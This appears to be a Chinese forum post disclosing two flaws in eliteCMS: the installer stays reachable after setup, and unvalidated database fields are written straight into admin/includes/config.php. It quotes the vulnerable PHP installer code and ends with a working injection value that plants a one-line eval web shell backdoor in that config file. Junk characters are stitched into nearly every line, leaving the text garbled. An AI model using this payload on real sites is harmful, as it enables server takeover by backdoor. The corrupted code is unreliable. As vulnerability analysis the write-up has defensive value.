eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装7 B, e( f! l2 e4 j [
8 Z6 k ]$ K# b
另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php
( a! J6 E1 a! [ {1 l! {" d我们来看代码:0 X( {$ R- t! t$ S! i
, f4 i9 F1 V& e) T- h m' \...
' p' u9 {8 x! M# v( S1 kelseif ($_GET['step'] == "4") {
9 i% M6 c; `9 L S- E' z $file = "../admin/includes/config.php";
2 [$ N) M$ p& R6 \( m $write = "<?php\n";- i& j2 _! m4 Q; m
$write .= "/**\n";
! c, H3 \1 o: t7 V5 E8 x. c) Q" F $write .= "*\n";
8 [( e( }5 W. h! l. P" k $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";! {# ]0 Y/ J2 F: E" y- q( b/ K6 H5 j
...略...
2 ?( i& U: K/ p g* w $write .= "*\n";
6 _# o4 Q/ f) K" x( \$ K" ` $write .= "*/\n";
* J6 `0 q8 c& ^0 ^8 M" G* g $write .= "\n";
; O$ {. S- Q, }# t $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";( c2 y' }/ a' ~: `3 @
$write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";: W% d8 E' i n! J c
$write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
; r7 y% S" }* l3 f $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n"; a5 v; [ ~1 j1 r+ ?+ ~6 U
$write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";8 u W9 k! a+ n# _3 I4 g4 q$ Q1 h
$write .= "if (!\$connection) {\n";3 l( a. s* i8 F* P% [
$write .= " die(\"Database connection failed\" .mysql_error());\n";5 f$ @" {7 I& ]$ n+ ~; w% V
$write .= " \n";7 Y3 E( ]( ^& G
$write .= "} \n";( V* p8 R" U8 ?$ p8 u
$write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";* p Q6 H9 H+ a$ S6 x
$write .= "if (!\$db_select) {\n";
* V1 X7 @/ ^. w r' J( W: A $write .= " die(\"Database select failed\" .mysql_error());\n";
3 [& V% p, R% B7 _# @ $write .= " \n";
7 E' Y- @* J) ~ $write .= "} \n";- v: h4 v! s6 I
$write .= "?>\n";+ k( \% J: v# x
?; |6 T. [, F0 c# x, j8 a9 {
$writer = fopen($file, 'w');% j. o, {9 w) @" T
...
2 h! J- K; H/ n; t8 M/ d 5 Q, n+ T/ h' b G. w
在看代码:
" L: v2 s6 i) `& A" W* j1 \ ( N+ m1 y+ _+ F; t0 \& Y( p
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];, m A- j9 C4 _: Y3 a+ |9 ^2 B, r
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];
; N$ x+ t' v& d7 M, i. g$_SESSION['DB_USER'] = $_POST['DB_USER'];' [! T, Q1 `3 H# B
$_SESSION['DB_PASS'] = $_POST['DB_PASS']; w" ~ {7 b* e. t6 x; a3 ^3 D
# Z1 o7 J9 X. V
取值未作任何验证/ E8 ^, \0 K s, K L
如果将数据库名POST数据:$ `" q8 ]6 b1 f
0 F$ S$ W+ h/ X! U" `"?><?php eval($_POST[c]);?><?php! C; X% h7 H' r) U( _
z9 d3 w1 [3 \8 I) l6 ]+ f将导致一句话后门写入/admin/includes/config.php5 {: v$ S9 E: P, r4 K
|